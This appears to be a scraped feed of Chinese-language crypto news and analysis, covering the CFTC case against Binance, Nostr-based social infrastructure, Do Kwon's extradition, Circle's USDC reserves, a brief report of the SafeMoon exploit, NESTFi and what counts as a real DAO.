execution）的情形，还包括未达成交易前相关主体提供该类交易机会（offering to enter into），以及发出要约或促成此类交易形成的行为（entering into）。 （ii）交易是以保证金或杠杆的方式进行的（on a leveraged or margined basis）或通过融资性安排来完成交易。本质上即买方无需支付全部的货款即可取得所交易标的商品，或者说买方可以使用部分的资金购得数倍于实际所能购买的商品数量，也就是我们所通常所说的杠杆交易。 （iii）商品在 28 天内或 CFTC 所规定的更长期限内，并未被“实际交付（actual delivery）”。而如何认定“实际交付”成了 CFTC 监管实践中最为关注的问题，CFTC 也因此专门出台了相关的监管意见。 3.4 虚拟资产衍生品的合规要求 衍生品（Derivatives）是金融工具，如期货、期权或掉期，它们的价值来底层资产，包括基准利率、石油或小麦等实物商品，也包括了虚拟资产商品。根据 CEA 的要求，除某些豁免情况外，商品衍生品交易必须在 CFTC 指定或注册的交易所进行。 因此，除少数例外情况外，根据 CEA 以及 CFTC 的规定（Section 5 h (a) of the Act, 7 U.S.C. § 7 b-3, and Regulation 37.3, 17 C.F.R. § 37.3 (2022)），在未向 CFTC 注册为指定合约市场（Designated Contract Market, DCM）或掉期执行机构（Swap Execution Facility, SEF）的情况下，任何人提供掉期交易平台（Swap）的行为都是违法的。 根据 CEA 第 la (28)(A) 条，期货佣金商（FCM）是个人、协会、合伙企业、公司或信托从事 (i) 包括期货、掉期、商品期权或零售商品交易在内的受监管交易招揽或接受订单，或 (ii) 充当零售商品交易的交易对手方；或与这些活动中的任何一项有关并从事“接受任何金钱、证券或财产（或上述的信用担保）作为保证金，来保证任何可能的交易或合同”的主体。 FCM 是持有客户的资金并为衍生品交易提供保证金的金融中介，是美国金融体系的关键组成部分，必须遵守 CEA、CFTC，以及美国《银行保密法》、FinCEN等主体的相关规定，最基本的要求是向 CFTC 登记注册，并遵守一系列来自 CFTC 或 FinCEN 的合规要求。 任何主体如违反 CEA 以及 CFTC 的上述规定，以及 CEA 反规避原则的，都应当承担相关法律的责任。 3.5 Binance 在美提供未注册虚拟资产衍生品交易 在起诉书的 FACTS 部分，CFTC 列举了大量关于 CZ 及其关联方与指控内容有关的事实，包括：A. Binance 平台运营综述；B. Binance 平台提供的相关金融衍生品产品；C.  在 Binance 平台上通过自有账户进行自营交易；D. 在美运营；E. CZ 对 Binance 的控制；F. 制造限制美国用户的表象，表示合规计划仅是掩饰；G. 明知 Binance 平台需要遵守美国法律，但选择忽视；H. 指导美国客户通过 VPNs 等方式规避合规控制；I. 指导 VIP 客户违规通过 KYC 验证；J. 在内部文件及数据中隐藏美国客户信息；K. Binance 依赖中介介绍客户，但缺少有效合规手段；L. 逃避合规控制的案例。 基于上述事实，CFTC 指控 CZ 及其关联方的以下行为违反了 CEA 以及 CFTC 的相关规定：（1）在未注册的交易所执行期货交易；（2）非法进行场外交易；（3）未能注册为 FCM；（4）未能注册为 DCM 或 SEF；（5）监管不力；（6）未能实施 CIP、KYC、AML 的合规措施；（7）逃避美国法律监管。同时，CFTC 向法院寻求对 CZ 及其关联方的民事处罚和永久的交易和注册禁令。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 REFERENCE: [1] CFTC Charges Binance and Its Founder, Changpeng Zhao, with Willful Evasion of Federal Law and Operating an Illegal Digital Asset Derivatives Exchange https://www.cftc.gov/PressRoom/PressReleases/8680-23 [2] Commodity Futures Trading Commission v. Zhao et al https://www.courtlistener.com/docket/67092867/1/commodity-futures-trading-commission-v-zhao/  ( 11 min )
    假如我们有更好的去中心化未来：Web3MQ，ArNostr，与基于Nostr的社交基建
    作者：方庭 来源：Social Infra Insights Notion 系列的第一篇文章介绍了以太坊“三位一体”的缘起和 Greenfield 背后三大基建的演化趋势；第二篇则以去中心化通讯赛道首个现象级协议“Nostr”为起点和分析对象，探寻在极端克制、充分体现了比特币原教旨主义精神的 Nostr 外，一个成熟的去中心化通讯将需要做好哪些准备；本篇文章则建立在前两篇文章的思考上，尤其是针对目前 Nostr 已有的问题，给出具备实操可行性、且已初具雏形的解决方案。社交基建的缺点绝不会是动态的，在分布在世界各地的开发者们昼夜轮转的努力下，事情正在发生变化，有“问题”处，即有亮点。 在开始前，让我们先回顾一下上篇文章中讲到的 Nostr 目前作为通讯协议未能达到的几个关键要素，以及一个理想的去中心化通讯基建应达的标准： 从第一点看起，“具备节点间共识”意味着 1）节点之间需要有通讯，以方便同步；2）节点在低门槛的同时需要便于进行扩容；3）可恢复的账户；4）合理的经济激励层，可沉淀的网络价值。基于这些尚未完成的理念，在去中心化通讯、去中心化存储等方面，新的建设者们正在进行更用户友好、速度更快、更符合技术向好向善集体想象的产品和作品，续唱上过往号角中，那些未被充分展开的声部。 StarkWare 生态中，布局在“去中心化通讯”生态位的主要通讯产品协议之一是 Web3MQ。相较于 节点之间更加孤立的 Nostr，Web3MQ 多个节点之间保持合作，减少负载、保证带宽，这一点也保证了在百万甚或亿级用户规模上，Web3MQ 将表现出比 Nostr 优异很多的通讯服务体验。 StarkWare原生即支持账户抽象（Account Abstraction），Web3MQ 的账户体系支持社交恢复，作为社交基础设施，为减少用户失去其账户控制权和更加珍贵的社交数据提供了至关重要的努力。 目前，在各项指标上，Web3MQ 是测试结果中 Web3世界 最快和可扩展性最好的消息传输协议（Social Layer1）。在核心技术实现上，与 waku/whisper 等通讯协议相比，Web3MQ 去中心化程度更高，并以此为基础，在使用上达到了实质性的“无需信任”（trustless）。部署 Web3MQ 节点的门槛非常友好，以开源开放的加密原生精神，任何人可运行节点，并且最终将交由社区治理，将中心化风险降至最低。 Nostr 对 relay 的数据存储没有规定，如果要做到完全去中心化、内容不会丢失，还需要一种存储解决方案，nostr 把这个交给 relay 的实现者去解决。 可以通过 Arweave 将 relay 的消息进行存储，就达到了完全去中心的效果。Arweave 是一个数据永存网络，能保证数据永久存储且不被篡改。relay 将消息存储到Arweave，即使这个relay 掉线、或者被屏蔽，依然可以启动另一个 relay，从 Arweave 拉取所有历史消息，这样一个新的 relay 服务就建立起来了。更进一步任何人都可以启动 relay，从 Arweave 拉取历史消息，这样就建立起一个抗审查、去中心的的社交网络。 ArNostr 是 Arweave 生态的共建者社区 PermaDAO 所资助的开源项目，完整的 ArNostr 产品可以分为两个独立的部分，一个是通过 Arweave 进行永久存储的 ArNostr Relay，另一个则是 ArNostr 客户端。 除了数据的永久存储以外，ArNostr 还接入了everPay 。everPay 是Arweave生态上的支付协议，特点是实时到账、无手续费，并利用 Arweave 保证安全性，接入 everPay 后 ArNostr 可以方便的进行打赏、转账等经济活动，充分激发创作者经济。 其次，将社交数据存储在 Arweave 上还将最大程度的发挥数据的开放与可组合性。其他应用如果想抓取 Nostr 上的社交信息，不再需要通过一个个独立的 Relay 去寻找，而是可以只对 Arweave 上相关交易进行检索，便可以直接利用全部的社交数据。 目前 ArNostr 已经上线测试 relay，在 relay 中添加 ArNostr Relay 的地址：wss://arnostr.permadao.io，就可以免费使用永久存储服务（存储费用由 ArNostr 团队代付）。 最后，我们仍然要回到标题：假如我们有更好的去中心化未来，它将是否/何时来临？在AI中心化聚力后突破临界点、提高生产力效率的当下，“去中心化”之路依然筚路蓝缕。去中心化存储与去中心化通讯由于并不与用户直接交互，往往隐于后端，但其必要性并不因其不可见而降低。我们已经见到了太多中心化的危机，并且不能每一次都等到大厦将倾，才从服务器中迁移居住其中的数据，数据的背后是人口、真实用户，和他们错综相连的社交关系。 建造是隐形的，而危机是显性的。中心化危机如果到来，这场从中心化节点到去中心化节点的宏大迁移将成为“三峡移民”；而最好的结果是，（无论何种形式）中心化的危机永远没有到来，我们将过往喊下的口号一一铸成实际的代码，不光集中在 Nostr 这样初见即令人兴奋的理念的旗帜下，更将聚光灯打给这场漫长的“渐进去中心化”旅途中每一位在后端耕耘不辍的开发者们。后者最好的形式，是关注他们创造的作品：有原创性的、振奋人心的，以及更多的那些没那么有原创性，却让这条路最终走完、走向每一个日常生活的。  ( 5 min )
    韩联社：Do Kwon律师拟将护照造假案上诉至最高法院，引渡进程或将拖延
    PANews 3月29日消息，据韩联社报道，Terraform Labs创始人Do Kwon在黑山的法律代表Voislav Zetsevich律师在接受采访时表示，对于Do Kwon涉护照造假案，其已对一审判决向高等法院提起上诉，若败诉，还会将此案上诉至最高法院以寻求最终判决，他们将尽可能行使自卫权。该媒体评论称，这意味着实际引渡或需要相当长的时间。 此外，对于引渡一事，该律师表示：“我不想谈，也不需要谈，因为引渡程序还没有开始。Do Kwon在完成护照造假案的司法程序不会涉及到遣返，且黑山司法部也有可能拒绝遣送。如果黑山政府收到正式的引渡请求，无论是韩国还是美国，都会成立一个新的法庭并进行单独的程序，但现阶段遣返不是需要讨论的问题。”对于Do Kwon希望被引渡至哪个国家，律师称：“无可奉告，关于遣返的决定完全由法院决定。法院不是做出政治决定的地方。遣返不应该是一个政治决定。”律师还提及，如果Do Kwon因护照造假案被判处最高5年徒刑，他可能会被遣返到另一个国家并在那里服刑。 此前3月26日消息，法院决定将Do Kwon拘留时间延长30天，Do Kwon计划对此提出上诉。  ( 4 min )
    Sei基金会成立，负责处理代币赠款、空投等事项
    PANews 3月29日消息，Layer1公链Sei宣布成立Sei基金会，作为支持Sei生态系统的非营利组织来资助协议开发、发展生态系统。Sei基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs团队仍然致力于开发开源软件。  ( 4 min )
    FTX向被确认为债权人的客户发送邮件，并强调索赔申请截止日期尚未确定
    PANews 3月29日消息，据吴说区块链报道，FTX大范围给债权人发送邮件，内容包括客户代码与索赔资产，邮件中表示：“你正在收到这封电子邮件，因为你已被确认为截至2022年11月11日，在FTX trading ltd第11章案例中的一个或多个债务人的账户净余额为正的客户。你已被列在一个或多个债务人的附表及报表内。” 邮件内容强调：“法院尚未设定提交针对债务人的索赔或利益证明的截止日期。当法院设定最后期限时，所有已知的债权人都将收到关于最后期限的通知以及关于如何提交索赔或利益证明的说明。” 此外，FTX无担保债权人官方委员会发推文称：“如果您认为您应该被FTX识别为客户欠款，但在3月31日之前没有通过电子邮件收到客户代码，请联系FTXInfo@ra.kroll.com。”  ( 4 min )
    智能捏脸+铸造NFT只需10秒，新上线的AIGC产品GNT如何让每个人成为NFT创作者？
    原文：《当你可以用promt直接生成NFT...》 作者：Cookie，律动 BlockBeats AI 已经是 Crypto 市场的热门概念，而对 NFT 玩家来说，AI 越来越多地在各个 NFT 项目的冷启动阶段出现。今年以来，不少项目采用 Midjourney 这个图像生成 AI 来进行「艺术竞赛」活动以分发白名单，大大增加了白名单分发方式的趣味性。而 AI 生成艺术 NFT 项目也曾一度受到市场追捧，比如「Friendship Bracelets by Alexis Andr」。 近日，StepN NFT 市场 MOOAR 推出了一款名为「GNT」的 AIGC 产品。通过「GNT」，我们可以十分方便地通过 AI 生成自己心中的形象并将其铸造成 NFT。让我们一起体验一下「GNT」的魅力吧~ 进入「GNT」的页面后，首先需要填写形象的名称，并且选择形象的身份风格。可选的形象风格有「Male 男性」、「Female 女性」、「Non-Binary 中性」以及「Animal 动物」。 设置完成后点击「Next」，接下来要选择的是形象的画风，这里可选的画风包括了市面上的各个蓝筹 NFT 项目，比如「Azuki」、「BAYC」、「Clone X」等。我们选择一个 Freestyle（自由选择），让「GNT」自由发挥。 选择完成后点击「Next」，接下来要给定「GNT」一系列关键词。「Character」栏里需要给定的是「性格关键词」，比如「Mysterious 神秘的」、「Charming 迷人的」、「Witty 机智风趣的」等等这样人物性格相关的形容词。而在「Apperance」栏里需要给定的是「外貌关键词」，比如「Long hair 长头发的」、「Round face 圆脸的」、「Yellow skin 黄皮肤的」等等这样人物外貌相关的形容词。 设置完成后点击「Next」，接下来可以给定「GNT」关于细节的补充描述，比如「Late night scene 深夜场景」、「Sitting behind a desk 坐在一张桌子后」等。「GNT」会根据这些给定的关键词去丰满形象的所在场景等相关细节。 设置完成后点击「Generate」，可以看见「GNT」为我们生成的形象了： 目前，普通用户一天可以使用「GNT」进行 5 次生成，MOOAR 会员则可以进行 25 次生成。现阶段生成出来的形象是对「GNT」的训练，因此暂不支持将生成出来的形象铸造成 NFT。MOOAR 计划在 3 月 30 日开放「Fair Mint」功能，届时用户可以使用「GNT」直接生成并铸造出总量 1000 个的 NFT 系列。 「GNT」给笔者最大的使用感受就是「清爽」，各个设置的提醒都很直观，对于从未使用过 AI 生成图片的小白很友好，十分容易上手。 MOOAR 应该是第一个将 AI 作为 NFT 创作工具引入并作为一站式服务提供的 NFT 市场，这是一个很有趣的尝试。在图片的创作过程中，笔者认为有 2 点是非常困扰的。首先，没有绘画/使用绘画工具的能力，尤其是笔者这样的「绘画残疾」，在 AI NFT 创作工具出现前完全不敢想象有一天也可以成为一个「NFT 创作者」。其次，想象是一个从人的记忆里「取材」的过程。我们的大脑就像我们的「素材库」，把任何想象图像化，一定将我们此生所见的种种「碎片」天马行空地排列组合的过程。如果我从未见过「紫色」与「水晶」，我是不可能凭空想象出「紫水晶」是什么样的。但 AI 工具凭借不断的学习积累能够极大的丰富我们的「素材库」，我们能够在一次次地生成中不断去贴近自己的想象，甚至是获取到我们从未能够从脑海中勾勒出的想象。 除了让「人人都可以变为创作者」，MOOAR 做此番尝试还让我们能够有更多的想象空间。「GNT」会引入到 StepN 当中让 StepN 的体验更有趣吗？比如，每次的运动结束后，StepN 根据当天的时间、天气、里程等数据以及我们自己对本次运动的体验描述，生成出一幅 AI NFT 作品，记录每一次的运动经历。这是否可以加强 StepN 的社交属性，让每次运动的获得感和纪念感更强呢？ AI 让我们每个人都可以轻松成为「NFT 项目方」的日子，已经不遥远了。  ( 5 min )
    Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC
    PANews 3月29日消息，据Blockworks报道，Cosmos生态协议Noble宣布与Circle合作，将在第二季度将原生USD Coin (USDC)引入Cosmos生态系统。Noble首席执行官Jelena Djuric在接受采访时表示，Cosmos区块链间通信协议(IBC)生态系统从未有过具有高流动性和完全质押的原生、法币支持的稳定币，随着Noble的第一个发行合作伙伴Circle的出现，这种情况即将改变。 去年9月， Circle首次表示有意在Cosmos上发行USDC。  ( 4 min )
    无限流动性？5分钟了解新衍生品DEX NESTFi
    原文：《DeFi 新范式：无限流动性的 NESTFi 能否在衍生品市场杀出重围》 作者：michaeljin.eth NestFi 项目背景： NEST 团队 2022 年初开始探索去中心化的衍生品协议，并基于 NEST 预言机推出了全新的项目 FORT，一个基于无限流动性模型（OMM）的去中心化衍生品交易平台，产品包括永续期货，期权。经过 3 月份 Terra 暴雷以及宏观环境的恶 化， NESTDAO 提出了 NEST 和 FORT 合并的提案,在协议层面，两个项目的代码进行了整合重构，在运营方面，NEST 团队整合了两个项目的资源，将 Twitter和 Telegram 社区合并为一个。在理论层面，比特币构建了全新的货币网络范式，以太坊构建了全新的资产网络范式，NEST 团队认为 NEST 所构建的无限流动性模型实际上是一种全新的交易网络范式，这会是继以太坊之后最重要的范式革命，NEST 新白皮书，将 NEST 定义为区块链的基础设施，为所有的项目方和买方提供任何风险收益结构的金融资产。 NEST 即将重磅推出“鞅网路”，一个以太坊后的新一代的基础设施范式，NEST 将以智能合约作为链上金融交易中的唯一卖方，在满足买方需求的同时，将买方让渡风险敞口汇集并对冲。不能对冲的风险由所有的交易者共担，以此从根本上解决风险对冲类资产流动性不足的问题。NEST 定义了一种新的交易范式, 这个交易范式来自于一个随机过程的概念：鞅交易是基于一个随机过程（鞅）的交易范式。鞅是一种满足 Xt = E(Xt + s | Xt) 的随机过程，其中 Xt 表示在时间 t 的随机值，s 是交易现金流流出和流入时间差。鞅交易是在鞅信息流下进行的交易，这种交易方式被认为能够得到公平的结果。在这种交易模式中，交易者在时刻 t 支付 Xt，并在时刻 t + s 收回 Xt + s。 而基于数字货币的去中心化鞅交易网络，以基于 ERC20 开发的 NESTtoken交易的标的为链上的数字资产，所有交易者都直接和一个无限供给的卖方(ILM， Infinite Liquidity Maker) 交易，这个卖方就是 NEST 合约本身。买入的数字资产进入合约（销毁），结算的数字资产通过合约即时增发出来。R3PO 认为基于鞅交易网的永续期货交易平台 NESTFi 有希望代表 NEST 发展成新一代交易网络的新范式代表。 根据 Defilama 的统计，NESTFi目前已经在去中心化衍生品中排到第 6 位，仅次于Gains Network 和 ApolloX。（来自于 Oracle） NESTFi能否结局 DeFi 行业痛点 1、链上应用的最关键或者最痛点是流动性，为了解决流动性问题，之前的 DeFi 尝试了传统观念的 order book 和 AMM 模型，但这些模型都不是理想的解决方案，并且无法将所有金融服务纳入到同一个协议并共用同一个流动性，造成资源的浪费和效能的低下。 2、风险匹配机制不完善，无论 AMM 也好，资金池也好，其解决流动性问题的方法都是以牺牲了卖方的灵活性为代价的：即卖方需要把自己的交易策略固定下来并承担外部市场的波动，一旦价格有利于卖方，买方可能选择退出交易，一旦存在套利，买方便蜂拥而至，整个过程卖方没有任何选择权，只能寄希望于挖矿的补贴和大数规则下的佣金或利率均衡。 3、资金使用效率低： LP 设计虽说暂时缓解了链上流动性的匮乏，但长期来看存在以下问题：首先是资金的大量占用导致资源浪费，链上如此众多的 TVL 却只支持了少量的交易，而且大部分 TVL 还是冲着流动性挖矿而来；其次是核心变量，如价格、利率等和池子的规模有关，一方面容易被套利，另一方面在池子规模不够的情况下，交易和借贷很难开展。而且，不同产品的 TVL 不能共用，导致所谓的组合行也只是形式上的组合，而不是流动性的共享。 而从整体上看，NESTFi 的鞅网络与其他去中心化永续合约以及中心化交易所具备了如下差异： 1、无限供给：只要手上有 NEST，就不必担心因为缺少市场流动性而难以交易，交易者需要的任何基于鞅信息流的交易都可以得到满足，因此其供应是不会因为交易对手而受规模限制的。 2、便捷跟单：NEST去中心化交易所的copy trading功能，是比中心化交易所更有优势的，用户可以直接点击跟单链接，实现几乎一键开单 3、无 LP 成本，风险共担：所有持有 NEST 的人一起来承担 NEST 供给减少和增加的风险和收益，交易者直接与协议做交易，这也正好是区块链及分布式网络的特征。而在传统市场网络里，风险管理主要依靠做市商对冲，把风险转嫁给市场，这样的对冲的成本往往非常高。 NEST 预言机 NestFi 永续合约交易所依赖于 NEST Oracle 报价：NEST 预言机 Price Model给定链外一个价格流，如何设计一个去中心化博弈，使得该博弈均衡能输出一个价格流，并保证该价格流与链外价格流偏差尽可能小。NEST 预言机通过报价挖矿、双向期权、验证周期、价格链及β系数等模块解决了这一问题。NEST 提供的价格序列，并不改变资产价格的分布，而是接近一种离散的取样模型，这是由去中心化博弈的结构决定的，报价偏差和报价密度取决于套利市场的深度和 NEST token 的价格。总体来说，NEST 提供了一个有效的去中心化预言机，保持了价格的基本性状。 NEST 预言机是完全开放的博弈网络，理论上可以提供一切价格信息流，但从整个网络的安全性来说，用于鞅函数的价格信息流依然会被约束在少量市场较为有效的去中心化资产上，比如 BTC/ETH。 1、扩展 U 本位交易功能：在 NEST 流动性更大的时候，可以引入NEST/USD预言机，从而将交易对标的资产从 X 个 nest 变成 X 个 USD 的 nest，这样能满足许多试图基于法币本位建立对冲头寸的需求。 2、探索多交易对可能性：除了 NEST 作为鞅网络的原生价值单位外，我们还可以引入 PUSD，PETH，PBTC 等 USD/ETH/BTC 的等价资产作为鞅交换的价值单位，这样整个网络的应用将更为广阔。 3、扩展除永续合约DEX以外其他的应用场景：一些基于随机性的基础设计游戏如抽签、道具合成、彩票、博弈类游戏，可以直接采用 NEST 提供可以解决确定性数学关系、概率关系、随机过的鞅函数，换句话说，也可以直接以 NEST为交易对手方，资产以 NEST 定价，拓展更多的 NEST 使用场景和消耗途径。 NestFi 提供了一种全新的范式：将金融产品理解成基本折现函数的编程，其成本便是调用该函数的费用，这和 EVM 很类似，不同的是，折现计算机的经济关系是内生的。这种新的范式可以覆盖几乎所有的金融产品（服务），并且随时可以买入并无限流动性结算，这里不需要做市商，不需要保证金，不需要 margin call，不用担心无法结算。只要 Nest 的流动性足够，还原传统金融市场也是极其简单的事情，其功能将十分强大。而且，由于发行和结算这样的困难问题得到解决，传统衍生品交易所即可专注于二级市场，从而极大降低其成本。 风险提示： 1、鞅交易本质上是一种新的交易范式，可能尚未被广泛采用，或者还未被证明是有效的。因此，对于鞅交易的具体细节和实际应用，需要进一步研究和评估。 2、在用户的层面来讲，NestFi 的可开杠杆倍数，使用币种，可交易对数量，交易费率等并不占优势，虽然无任何 LP 成本，但同样意味着无法吸引用户质押任何资产，在 NEST 的普及有一定限制。 版权声明：如需转载欢迎加小助理微信沟通，未经允许转载、洗稿、我方将保留追究法律责任的权利。 免责声明：市场有风险，投资需谨慎。请读者在考虑本文中的任何意见、观点或结论时严格遵守所在地法律法规，以上内容不构成任何投资建议。  ( 5 min )
    巴塞尔银行监管委员会主席：若对金融产生连锁反应，可以修改加密银行规则
    PANews 3月29日消息，据CoinDesk报道，巴塞尔银行监管委员会主席兼西班牙央行行长Pablo Hernández de Cos在国际清算银行主办的一次活动中表示，要求银行将比特币 (BTC) 等无担保加密资产视为风险最高的资产的新资本规定将于2025年1月生效，如果这些规则最终对金融产生连锁反应，则可能会对其进行修改。 Hernández de Cos称：“由于我们知道市场在不断发展，因此我们将针对该标准所做的工作是专注于可能特别容易受到市场变化影响的某些要素。我们应该准备好在需要时修改标准，以尽量涵盖市场潜在的内生反应。”Hernández de Cos还表示：“委员会将监督规则的实施。作为该委员会成员的主要司法管辖区应该在不到两年的时间内将它们落实到位，欧盟等一些地方的立法者已经采取行动这样做。这些规则旨在间接消除加密市场可能对其他市场构成的潜在风险，加密货币可能会对银行业产生潜在的溢出效应。” 此前去年12月消息，巴塞尔银行监管委员会批准将于2025年1月1日实施的加密银行规则。据悉，巴塞尔银行监管委员会是全球银行业合规的主要标准制定者，由来自28个管辖区的45个国家央行和监管机构组成。 相关阅读：解读巴塞尔协议将加密资产纳入其监管  ( 4 min )
    Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行
    PANews 3月29日消息，Circle在博客文章中披露“USDC储备的结构和管理方式”。文章称，USDC储备约80%为短期美国国债，约20%为美国银行系统的现金存款。储备是完全透明的 ，并受制于第三方保证有足够的资产来满足负债。它不包含具有不同风险状况的任何其他资产。USDC储备中的国债由SEC监管的全资政府货币基金结构持有。它们不受任何锁定或赎回门槛的限制。每天都有关于该投资组合的独立第三方报告 ，具体到每只证券。 Circle持有约20%的现金储备，以满足客户的即时流动性需求。在最近多家银行倒闭后，Circle已采取措施降低银行系统的风险，目前已将储备金的大部分现金部分存放在全球30家全球系统重要性银行之一(也称为GSIB)。Circle还在交易银行合作伙伴处持有少量资金，以支持USDC流动性操作。 此外，Circle表示，该公司一直渴望直接在美联储持有USDC储备的现金部分，实现将USDC作为真正的代币化现金的愿景。为此，需要稳定币立法。Circle还表示，为了USDC持有者的利益，USDC储备金存放在隔离账户中。  ( 4 min )
    DeFi协议SafeMoon遭遇攻击，其流动资金池损失约890万美元
    PANews 3月29日消息，据The block报道，根据链上记录，基于BNB链的DeFi协议Safemoon今天早些时候遭到攻击，导致其流动资金池流失近890万美元。Safemoon在推特上证实了此次攻击事件。安全公司 Peckshield表示，最近的更新可能引入了一个“公共销毁漏洞”，为黑客攻击提供了便利。黑客能够使用代码功能人为地提高SFM代币的价格，然后在同一笔交易中将足够多的代币卖回流动性池，从而有效地从合约中抽走WBNB。  ( 4 min )
    DAO已经“烂大街”？不，你需要区分真DAO与假DAO
    原文：《Defining Real and Fake DAOs》by Gabriel Shapiro 编译：深潮 TechFlow 在最纯粹的形式下，“DAO”指的是一个未注册的人员联合体（“组织”），利用抗审查技术无需许可（“自主”）地参与共享资源和目标的非等级性、广泛分散的（“去中心化”）治理。 不符合此定义的组织不能被视为“DAO”。 因此，一个组织之所以不值得被授予“DAO” 称号可能会有许多原因 我将在下面进一步解释 DAO 的本质。 “DAO”这个术语被应用于如此多不同的组织，以至于它已经接近没有意义。我想纠正这一点。 我认为，无论 DAO 是什么，它们必须落入三个清晰而明确的概念范畴中： 我的内心在高喊着每个单词——“去中心化”、“自治”和“组织”，它们有其存在的理由，不能有任何一个与其他单词重复。 因此，“去中心化”不能意味着与“自治”相同——否则我们将称之为“DOs”（去中心化组织）或“AOs”（自治组织）。 我们不这样称呼它们。 我们称之为“DAOs”。这意味着在评估某些东西是否为“DAO”时，我们必须分别检查这三个方面，以便得出结论：是的，这个东西是“DAO”，而不是其他。 “组织” Webster 对“组织”最相关的定义如下： “Association”在相关部分的定义如下： “Society”在相关部分又作如下定义： 因此，一个 DAO 是由个人组成的某种共同目标或以规律方式相互交互的协会。对于那些学习公司法的人来说，我们知道协会有两种主要类型：非法人和公司。 基本上，我们都知道“组织”是什么——它是由自然人或法人组成的未注册或注册的协会。我故意用“自然人”这个词，是因为协会也可以是法人。因此可能存在由协会组成的协会或由协会和个人组成的协会。 我认为组织可以是中心化或去中心化的，自治或非自治的是无争议的。例如，Twitter Inc.是中心化（其最终决策权属于董事会），并且相对非自治（它旨在为股东的利益赚取利润，股东可以随意任命和撤换董事会）。Ethereum Foundation 与 Twitter Inc.类似，是中心化的（其拥有董事会或类似的管理机构），但不同于 Twitter Inc.，它相对自治（它只遵守其章程，该章程可以由其管理机构修改，管理机构不是由其他权力或受益人组成的委员会选出的）。 *注意：这两个实体都不符合我认为应该用于“DAO”的更严格的“自治”概念，如下所述。 “去中心化” “去中心化”比“组织”更难定义，但相差不大。Webster 在相关部分对“去中心化”的定义如下： 当权力被广泛分散或分布时，去中心化就会发生。 这可以通过许多不同的方式实现：例如，所有组织决策都可以由代币持有人投票确定，但代币所有权和投票投票率可能在许多“小鱼”（每个人持有总代币供应量/总投票权的一小部分）之间广泛分散。另外，不同类型的决策可以委托给不同的人员群体，并且这些群体之间的协调可以是非正规和非等级性的。 后一种去中心化的良好例子是比特币。除了共识协议本身之外，在挖掘节点、非挖掘节点、用户、交易所和核心开发人员之间不存在正式的治理规则，但这些群体对比特币具有不同类型的影响，基本上通过“粗略的社会共识”以紧急基础来治理比特币。这些不同代表团体相互施加的制衡相互之间决定了权力冲突，并决定了作为一个表象的“比特币”的命运。（如果您对此表示怀疑，并认为存在不同的情况——例如，比特币是“由矿工管理”的——只需看一下“块大小战争”的曲折历史以及它们是如何解决的即可。） “自治” “自治”是最难定义的，也是构成“DAO”的最容易被忽视的元素。Webster 在相关部分对“自主”的定义如下： 我相信许多人误解并错误地定义了“自治”这个术语，而这与对“智能合约”的误解有关。 智能合约技术的一种广泛误解是，智能合约可以在没有人类干预的情况下“自动”工作——它们是某种“非人类代理人”，参与组织的“算法治理”。相反，智能合约只是存储在区块链上的被动对象代码。当用户请求调用它时，挖掘者/验证者会调用该代码，并提供支付给挖掘者/验证者以使其进行此类调用并将结果写入新块。换句话说，除非其中一个功能特别且手动地由人类（或人类的代理——例如，“机器人”）调用，否则智能合约永远不会做任何事情。智能合约是最不自动或自治的——它们是外部输入的奴隶。 因此，有人会误解“DAO”中“自治”一词的意思，将“自治组织”解释为“利用智能合约的组织”。这种误解是一个巨大的“欺骗”，它允许许多在 Webster 意义上不是“自治”的安排仅仅因为它们涉及所谓的“自动”技术——智能合约而被认为是“DAO”。然而，“自治”并不意味着“自动”，即使它确实如此，智能合约也不是自动的。智能合约显然也不是自治的，因为它们无意识和惰性，而不是自发和自控。 因此，在“DAO”中使用的“自治”一词不是指某种技术（智能合约），而是指某种组织形式。换句话说，“DAO”中的“去中心化”和“自治”是形容词。“组织”是这些形容词所修饰的名词。因此，“DAO”是一个去中心化和自治的组织。 请记住，我们曾经说过，“组织”是“个人协会”的意思？这意味着“自治”不能是智能合约的特质——它必须是人员——即使用智能合约的组织的品质。 所以，那么“自治”真正意味着什么？好吧，Webster 的定义非常正确： 这个定义清楚地揭示了“自治”和因此“DAO”的“无审查技术”或“异见技术”的作用。例如： 重要的是，上述所有示例都是人员协会（因此是组织），并且（至少可以）去中心化（例如通过没有等级制度和拥有一个人一票的决策制度）。但它们仍然不是 DAO。这是因为它们不是自治的；它们依赖的技术、协会方法和资源受到了太多的任意外部控制，这使得这些团体“依靠陌生人的好意”。 相比之下，以下任何一个都更可能被视为自治性更强，因此潜在地可以成为 DAO： 自治组织的很多良好过去、现在和/或虚构的例子包括 Hassan i Sabbah 的刺客组织、海盗湾、维基解密、比特币、匿名者、琼斯教、界区、《沙丘》中的自由民、索科维亚协议之前的复仇者联盟以及 Mr. Robot 中的虚构 F. Society。不用说，国家也是自治的（尤其是超级大国）。 具有讽刺意味的是，原始的“theDAO”并不是非常自治的。以太坊硬分叉改变了 theDAO 的运营结果的方式表明，theDAO 可以通过一小群有影响力的以太坊开发人员和矿工进行外在审查。然而，今天在以太坊上的 DAO 比最初的“theDAO”更自治，因为争议性的以太坊硬分叉的协调难度和成本比 2016 年高得多。 同样，许多所谓的“使用智能合约的 DAO”并不是“自治的”。五个七个 Gnosis 多重签名确实是一个智能合约，但由此管理的组织很难被认为是“自治的”。智能合约是工具——它们增加还是减少自治取决于其特点以及如何使用它们。 *注：我并不是说 2016 年的硬分叉构成了对 theDAO 的审查。硬分叉发生改变 theDAO 的状态逻辑，使用了与 theDAO 代币持有者的投票权和 theDAO 的状态更改引擎相异的外部能力，仅仅表明 theDAO 比最初描述的更容易被审查（因此自治性更低）。 好的，停止使用“DAO”一词来指代那些几乎没有试图自治的组织（如 Wyoming 有限责任公司）。虽然去中心化和自治是连续体，但“DAO”一词应该保留给那些在当前技术范围内在尽可能多的维度上接近相对去中心化和相对自治的组织，并且至少渴望通过推动异见技术的创新在尽可能多的维度上变得尽可能去中心化和自治的组织。 仅仅以某种表面的方式使用区块链或智能合约并不足以让一个组织被认为是“DAO”。对于使用智能合约但并非 DAO 的组织，我更喜欢术语“增强网络组织”（cybOrgs）。考虑使用该术语或其他类似术语，而不是为了制造炒作而污染“DAO”概念的含义。 现在让我们建立更好的 DAO。  ( 5 min )

  • Open

    多生态 LSD 发展报告：赛道很宏伟，项目很早期
